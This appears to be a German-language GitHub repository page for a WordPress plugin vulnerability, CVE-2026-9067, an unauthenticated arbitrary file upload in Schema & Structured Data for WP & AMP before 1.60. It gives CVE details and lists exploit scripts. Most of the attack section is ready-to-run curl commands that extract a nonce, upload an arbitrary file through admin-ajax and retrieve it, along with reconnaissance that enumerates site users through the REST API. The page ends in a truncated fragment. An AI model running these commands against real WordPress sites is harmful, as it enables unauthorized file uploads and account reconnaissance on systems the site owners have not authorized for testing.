polosss/by-poloss..-..cve-2026-9067Schema & Structured Data for WP & AMP < 1.60 - Unauthenticated Arbitrary Media Upload [POC & Xploit]
| CVE ID | Plugin | Schweregrad | Typ | Status |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | Hoch (8.1) | Unrestricted File Upload | Dokumentiert |
| Feld | Wert |
|---|---|
| CVE ID | CVE-2026-9067 |
| Plugin | Schema & Structured Data for WP & AMP |
| Betroffene Versionen | < 1.60 |
| CWE | CWE-434 (Uneingeschränkter Upload von Dateien mit gefährlichem Typ) |
| CVSS v3.1 | 8.1 (Hoch) |
| Entdecker | 0xBassia |
Das Plugin Schema & Structured Data for WP & AMP vor Version 1.60 validiert weder die Benutzerfähigkeiten in den AJAX-Handlern für Datei-Uploads noch den hochgeladenen Dateityp. Dies ermöglicht es nicht authentifizierten Angreifern, beliebige Dateien hochzuladen.
Wichtiger Hinweis: WordPress Core blockiert ausführbare Dateien (.php, .phtml, .html, .svg), sodass kein direkter RCE-Pfad von dieser Schwachstelle ausgeht.
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentation vollständig (diese Datei)
├── CVE-2026-9067.py # Python-Exploit mit Multi-Threading
├── CVE-2026-9067.sh # Bash/Shell PoC-Skript
└── CVE-2026-9067_exploit.sh # Alternatives Bash-PoC
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/main/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
| Feld | Wert |
|---|---|
| Ziel-URL | https://yorbit7.ddev.site |
| PHP-Version | 8.4 |
| Datenbank | MariaDB 11.8 |
| WordPress-Version | 7.0 |
| Testmethode | curl-basiert (Black-Box-Test) |
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
DISALLOW_FILE_MODIFICATIONS..htaccess.